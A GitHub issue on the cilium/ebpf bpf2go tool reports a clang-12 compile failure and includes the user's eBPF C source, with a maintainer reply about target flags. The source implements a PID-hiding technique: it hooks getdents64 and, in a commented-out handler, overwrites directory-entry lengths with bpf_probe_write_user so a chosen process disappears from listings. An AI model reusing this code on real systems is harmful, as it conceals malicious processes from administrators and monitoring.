clang version >=12 will automatically add the -target bpfeb
bfengj opened this issue · comments
Describe the bug
this is my command :
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-12 -target arm64 -cflags "-g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64" ebpf ./kernel-code/ebpf-tools.bpf.c
I specified arm64 in various locations,but :
```bash
go generate -x -v
gen.go
go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-12 -target arm64 -cflags -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 ebpf ./kernel-code/ebpf-tools.bpf.c
...
fatal error: error in backend: Unsupported dynamic stack allocation
PLEASE submit a bug report to https://bugs.llvm.org/ and include the crash backtrace, preprocessed source, and associated run script.
Stack dump:
0. Program arguments: clang-12 -O2 -mcpu=v1 -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 -D__TARGET_ARCH_arm64 -target bpfel -c /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/kernel-code/ebpf-tools.bpf.c -o /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.o -fno-ident -fdebug-prefix-map=/home/parallels/Desktop/gopath/src/ebpf-go-test-remote/kernel-code=kernel-code -fdebug-compilation-dir . -g "-D__BPF_TARGET_MISSING=\"GCC error \\\"The eBPF is using target specific macros, please provide -target that is not bpf, bpfel or bpfeb\\\"\"" -MD -MP -MF/tmp/bpf2go3596423510
clang: error: clang frontend command failed with exit code 70 (use -v to see invocation)
Ubuntu clang version 12.0.1-19ubuntu3
Target: bpfel
Thread model: posix
InstalledDir: /usr/bin
clang: note: diagnostic msg:
********************
PLEASE ATTACH THE FOLLOWING FILES TO THE BUG REPORT:
Preprocessed source(s) and associated run script(s) are located at:
clang: note: diagnostic msg: /tmp/ebpf-tools-eb8b1b.c
clang: note: diagnostic msg: /tmp/ebpf-tools-eb8b1b.sh
clang: note: diagnostic msg:
********************
Error: can't execute clang-12: exit status 70
exit status 1
gen.go:3: running "go": exit status 1
According to the error message "The eBPF is using target specific macros, please provide -target that is not bpf, bpfel or bpfeb", clang shouldn't set -target to bpf, bpfel and bpfeb during compilation, so I need to specify the -target myself, but with clang version >= 12, it still specifies a -target bpfel by itself, resulting in an error According to the message above:"Program arguments: clang-12 -O2 -mcpu=v1 -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 -D__TARGET_ARCH_arm64 -target bpfel "
When i use clang-11, i will not happen:
go generate -x -v
gen.go
go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-11 -target arm64 -cflags -g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64 ebpf ./kernel-code/ebpf-tools.bpf.c
Compiled /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.o
Stripped /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.o
Wrote /home/parallels/Desktop/gopath/src/ebpf-go-test-remote/ebpf_bpfel_arm64.go
main.go
I don't know if this is a clang bug or a bpf2go bug,so i report it.
### How to reproduce
```shell
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-11 -target arm64 -cflags "-g -O2 -Wall -target arm64 -D __TARGET_ARCH_arm64" ebpf ./kernel-code/ebpf-tools.bpf.c
ebpf code is :
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_endian.h>
#define PROG_01 1
#define PROG_02 2
char __license[] SEC("license") = "Dual MIT/GPL";
// Ringbuffer Map to pass messages from kernel to user
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024 * 16);
} rb SEC(".maps");
// Map to fold the dents buffer addresses
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_buffs SEC(".maps");
// Map used to enable searching through the
// data in a loop
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, int);
} map_bytes_read SEC(".maps");
// Map with address of actual
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_to_patch SEC(".maps");
// Map to hold program tail calls
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 5);
__type(key, __u32);
__type(value, __u32);
} map_prog_array SEC(".maps");
struct event {
int pid;
u8 comm[TASK_COMM_LEN];
bool success;
};
const struct event *unused __attribute__((unused));
//const volatile int target_ppid = 0;
const int max_pid_len = 10;
const volatile int pid_to_hide_len = 0;
const volatile char pid_to_hide[max_pid_len];
// struct linux_dirent64 {
// u64 d_ino; /* 64-bit inode number */
// u64 d_off; /* 64-bit offset to next structure */
// unsigned short d_reclen; /* Size of this dirent */
// unsigned char d_type; /* File type */
// char d_name[]; /* Filename (null-terminated) */ };
// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
SEC("tp/syscalls/sys_enter_getdents64")
int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx) {
size_t pid_tgid = bpf_get_current_pid_tgid();
struct linux_dirent64 *dirp = (struct linux_dirent64 *) ctx->args[1];
bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY);
return 0;
}
SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) {
u64 pid_tgid = bpf_get_current_pid_tgid();
int total_bytes_read = ctx->ret;
// if bytes_read is 0, everything's been read
if (total_bytes_read <= 0) {
return 0;
}
// Check we stored the address of the buffer from the syscall entry
long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
//bpf_printk("enter");
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp = 0;
//int pid = pid_tgid >> 32;
short unsigned int d_reclen = 0;
char filename[max_pid_len];
unsigned int bpos = 0;
unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
if (pBPOS != 0) {
bpos = *pBPOS;
}
for (int i = 0; i < 200; i++) {
if (bpos >= total_bytes_read) {
break;
}
dirp = (struct linux_dirent64 *) (buff_addr + bpos);
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
//bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
//bpf_printk("[PID_HIDE] filename:%s",filename);
//bpf_core_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
BPF_CORE_READ_USER_STR_INTO(&filename,dirp,d_name);
int j = 0;
for (j = 0; j < pid_to_hide_len; j++) {
if (filename[j] != pid_to_hide[j]) {
break;
}
}
if (j == pid_to_hide_len) {
//bpf_printk("[PID_HIDE] find target pid folder");
//bpf_printk("[PID_HIDE] filename:%s",filename);
bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
bpf_map_delete_elem(&map_buffs, &pid_tgid);
bpf_tail_call(ctx, &map_prog_array, PROG_02);
}
bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
bpos += d_reclen;
}
// If we didn't find it, but there's still more to read,
// jump back the start of this function and keep looking
if (bpos < total_bytes_read) {
bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
bpf_tail_call(ctx, &map_prog_array, PROG_01);
}
bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
bpf_map_delete_elem(&map_buffs, &pid_tgid);
return 0;
}
/*
SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) {
// Only patch if we've already checked and found our pid's folder to hide
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
// Unlink target, by reading in previous linux_dirent64 struct,
// and setting it's d_reclen to cover itself and our target.
// This will make the program skip over our folder.
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *) buff_addr;
short unsigned int d_reclen_previous = 0;
bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
struct linux_dirent64 *dirp = (struct linux_dirent64 *) (buff_addr + d_reclen_previous);
short unsigned int d_reclen = 0;
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
// Debug print
char filename[max_pid_len];
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
filename[pid_to_hide_len - 1] = 0x00;
bpf_printk("[PID_HIDE] filename previous %s\n", filename);
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
filename[pid_to_hide_len - 1] = 0x00;
bpf_printk("[PID_HIDE] filename next one %s\n", filename);
// Attempt to overwrite
short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
// Send an event
struct event *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e) {
e->success = (ret == 0);
e->pid = (pid_tgid >> 32);
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
}
bpf_map_delete_elem(&map_to_patch, &pid_tgid);
return 0;
}
*/
this is my linux:
uname -a
Linux ubuntu-linux-22-04-02-desktop 6.5.13-060513-generic #202311281736 SMP PREEMPT_DYNAMIC Tue Nov 28 18:10:14 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux
Version information
github.com/cilium/ebpf v0.12.3
bpf2go
will pass the necessary target flags and defines to clang, do not add them to the cflags manually.
Try this:
go run github.com/cilium/ebpf/cmd/bpf2go -cc clang-12 -target arm64 -cflags "-g -O2 -Wall" ...
thanks!Looking at my code again after so many days i find that actually it's not the bug of clang,it's because of my code.But still thanks for the reply!!!